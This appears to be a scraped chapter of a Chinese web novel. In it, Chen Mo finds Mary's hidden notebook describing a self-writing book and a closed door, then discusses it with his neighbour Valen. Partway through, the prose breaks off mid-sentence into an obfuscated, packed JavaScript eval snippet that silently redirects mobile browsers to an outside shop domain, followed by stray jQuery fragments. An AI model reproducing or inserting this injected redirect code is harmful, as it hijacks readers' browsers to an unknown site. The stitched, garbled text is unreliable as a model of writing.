他等到了天黑透了才动。走那条路不需要看，手脚已经记住了每一个拐弯的角度和台阶的级数，闭着眼都能走完。他沿着河岸走，穿过田野，钻过藤蔓，经过山洞，走过低洼通道，推暗门，下台阶，开铁门，穿档案室，推矮门，走过长通道，最后站在那个宽阔的地下空间里。
晚上的光跟白天不同。白天从上方漏下来的是淡淡的白色光，到了夜里变成一层更柔和的银色，像是月光透过水层折射之后剩下的那一层。他沿着平台边缘走下低矮的台阶，穿过那个铺位，走到那面墙前面。
他蹲下来，让自己和那面墙之间只隔着一掌的距离。白天他看到的那行大字还在，字迹歪扭，像是用石头尖刻的，有些笔画刻得深，有些浅，像是刻的时候手在抖。“我走了。不要下来找我。”这七个字他白天已经看过一遍了，但晚上再看一遍的时候，他注意到了一些新的东西——那些字的排列并不均匀，有些字间距明显比别的大，像是刻的人在写到这里的时候停了一下，把手移开，又放回来继续刻。“不要”这两个字之间的间距尤其大，像是写的时候犹豫了。他蹲在那里看了好一会儿，猜想着自己是否能还原出她停下笔时在犹豫什么。
他视线下移，在右下角找到了那行小字。比主文小得多，刻得也浅。像是用一种更细的尖物，一点一点划出来的。他凑近了看，一行字，一共十一个：“我找到的那本书翻开之后，它自己写了字。”
陈默的手在膝盖上停住了。她找到的那本空白的书，翻开之后，它自己写了字。跟他的那本书一样。玛丽在源头层待的这段时间里，她发现了那本书的功能。她会在空闲的时候翻开它，等待新的字迹出现，就像他每天早晨起床后打开那本书一样。
他没有马上站起来，继续看那行小字后面。末尾的地方还有几个很小的刻痕，像是没写完就停了：“她走之后……”后面的刻痕浅得几乎看不清，像是刻的人写到一半停住了笔，没有再继续下去。他试了几种角度去看最后那几个刻痕的轮廓，能辨认出前面两个是“她走之后”，后面的内容被一道横向刮痕覆盖了，像是被人用手抹过，或者被石头磨过，无法分辨。他伸出手指，在那道横向刮痕的边缘摸索了一会儿，指腹感受到那一段石头表面跟周围不同的光滑感，像是被一只手掌反复按压过无数次之后磨出来的那层薄薄的包浆。
他站起来，直起身。那本书在源头层就被玛丽打开了，它自己写了字，就像他的书会自己画画和写字一样。玛丽在源头层住的那段时间里，这本书告诉了她一些事情，最后她做出了一个选择——离开，并让别人不要来找她。他往后退了一步，目光从那面墙移开。然后他注意到那面墙根处有一块石头，跟周围的石头不太一样。颜色稍微深一些，表面的棱角更锋利，像是被移动过之后没有完全嵌入周围的缝隙。
他蹲下来，用手指按了一下那块石头的边缘。石头微微动了一下，松的。他把手伸进石头底下的缝隙，向上抬了一下——石头被他抬起来翻了个面，露出了下面一个浅浅的凹坑。凹坑里只有一本小册子，比原主那本更薄，封面是深褐色的硬纸板，用细麻绳扎着。他拿起来解开麻绳，翻开第一页。字迹他认得，跟墙上那行小字的笔迹一致。她写的。
“我找到了这本书。它一开始是空白的，我把书放在地上，当天晚上上面就出现了字。第一页写的是‘你在洞里，你在往下走，前面有水，水位退了你再走’。我按照它说的做了。”
他翻到下一页。“第二页写的是‘你会看到一面墙，墙上有刻字’。我确实看到了。第三页写的是‘你会看到一个铺位’——我当时还没有看到铺位，第二天才看到。它提前告诉了我我会看到什么。”
他往后翻了几页，字迹开始变潦草了，像是写的速度在加快，或者握笔的手变得不稳定。“它开始告诉我我不知道的事情。比如这面墙后面还有一层，比如那条路的尽头是什么，比如它说我应该走回头路。”他翻到倒数第二页的时候，字迹一下子变了，变小了，更挤了，像是同一页纸上的后半部分是在不同的时间写下的：“它说源头后面是空的。空的。什么都没有。”他盯着“空的”这两个字看了一会儿。这两个字被反复描过，墨痕比周围的字都厚，像是她写完了之后又回过头来描了一遍，又描了一遍，把笔画加深到纸面几乎被笔尖划穿的程度。
他翻到最后一页。只有两行字：“我把它留在这里。如果你看到，就说明你找到了它。”第二行的笔迹明显比第一行轻，像是笔尖快要没墨了，又像是手在往外抽。他没有翻到第二面去，因为第二面是空白的。他把小册子合上，用麻绳重新扎好，放在外套内袋里，跟铁盒贴着放。
他站起来。他没有马上离开那个铺位旁边的位置，他蹲下来又看了一圈周围的岩壁。靠近铺位的那面墙的右下角，在“她走之后”那道刮痕的正下方大概一掌宽的位置，有一个小到几乎看不见的标记。不像文字，不像那个弧形符号，像是某个人随手按上去的一个指纹的轮廓。他伸出手指比了一下，大小跟他自己的拇指指腹差不多。如果是玛丽的，那她当时正在用那只手撑着墙站起来，或者是离开之前最后一次摸着那面墙。
他沿着来路走回去。穿过通道、矮门、档案室、台阶、铁门、暗门、柱子房间、低洼通道、洞厅、山洞，走到洞外。夜风从河面上吹来，带着水的凉意和远处田野的气息。他站在洞口，没有马上走。
他在那里站了一会儿，听着水声。然后他在心里把今天看的那本小册子里的内容又重新过了一遍。她发现那本书会自己写字，它告诉她她在哪里，告诉她前面有什么，告诉她后面是空的。然后她走了，把它留了下来。
他沿着河岸走回牢房，坐下来，把那些东西放在膝盖上。原主的小册子、玛丽的小册子、铁盒里的信、陶瓷碎片、空白书。他把玛丽那本小册子从外套内袋里拿出来，解开麻绳又翻了一遍，翻到了她写到那本书告诉她“应该走回头路”的那一页。他在那一页停了一下，把那一页前后两面的内容同时看了一遍，发现同一页右侧页面的边缘有一行被折叠压住的字，他之前没有完全展开看过：“它说如果继续往下走，会看到一扇门。门里面有东西。它没有说里面有什么。但我能看到它留的标记——那一段的墨色明显比前后的页都要深一些。它
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825154|211227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
像是斟酌过，斟酌了不止一次，才最终落笔。”陈默看着这行字，比对了自己那本书上同样位置的情况。他想起自己那本书在提到类似关键节点时也出现过墨色深浅不均的情况——第一张地图浮出来的时候，线条的浓度就比周围的画更重，像是同一个信息被反复确认过多次之后才固定下来。
他把书合上。那本书，不管是他的还是玛丽的，它们在接近某个特定位置的时候都会表现出一种类似的不稳定。不是内容上的误差，是纸面本身的反应变得更频繁、更密集，像是接近某种能影响它的东西。
他靠着墙，窗外的河水声在夜里格外清晰。他把所有东西一样一样收进口袋里，起身走到铁栏前，看着走廊尽头那扇铁门。铁门关着，但门缝里透进来一点光，像是门外的灯还没有灭。
隔壁瓦伦的声音从墙那边传过来：“你翻书的声音变了。今天读到了新东西？”
陈默没有转身，但他把视线从铁门上移开，侧过头对着墙壁说：“我在源头层找到了一本小册子，是玛丽写的。她也有一本会自己写字的书。”
墙壁那边沉默了一会儿。“她也有？”
“对。她那本书告诉她她在哪里，告诉她往前走会遇到什么，告诉她后面是空的。然后她走了。”
“走了之后呢？”
“不知道。”
瓦伦停了一下。“那你那本书呢？它告诉你什么？”
陈默没有马上回答。他转回墙角坐下来，把空白书从口袋里掏出来，翻到最新一页——第二十六页。纸面上已经浮现出了一行字，他知道它刚刚才写出来，因为它在他摸到书皮的时候还是温热的：“她走到的那扇门，你也会走到。门是关着的，但不是锁着的。”
他合上书。“它说我也会走到那扇门。门是关着的。”
瓦伦在隔壁沉默了很久，久到陈默以为他不会再说话了。然后他听到了墙壁那边传来的动静，像是一只手贴着墙，慢慢按在了石面上，跟着的是一句：“那你准备推吗？”
陈默坐在墙角，把那本书握在手里。他能感觉到书皮的温度正在慢慢降下来，从温热变成微微的暖意，跟着他手掌的温度一起变化。“明天会去看一眼。”
“多带一样东西去。”瓦伦的声音从墙壁那边传过来，“你带过了它的正面。它的背面还在等着。”
陈默靠着墙没有回答。他低头看着自己的手，指甲缝里那层黑色沉淀物在火把光里泛着暗暗的亮光，那些微小的石英粒嵌在里面，像是从地底带上来的碎星。
他坐了很久，久到灰制服换了一次班，走廊里的脚步换了节奏。然后他把书收起来，把玛丽的小册子放在书上面，用麻绳扎好，放进外套内袋里。他躺着，闭上眼睛。明天他会再去一次——不是到源头就停下，而是走到门前面，把门推开一条缝，看里面透出来的是什么颜色的光。
火把烧到了后半夜，光越来越弱，像是一段思绪在慢慢变缓。他闭着眼睛，听着隔壁瓦伦平稳的呼吸声。那本空白书贴在他的外套内袋里，书皮的温度跟他的胸口持平，像是一直在那里，从穿越的第一天开始就没有离开过。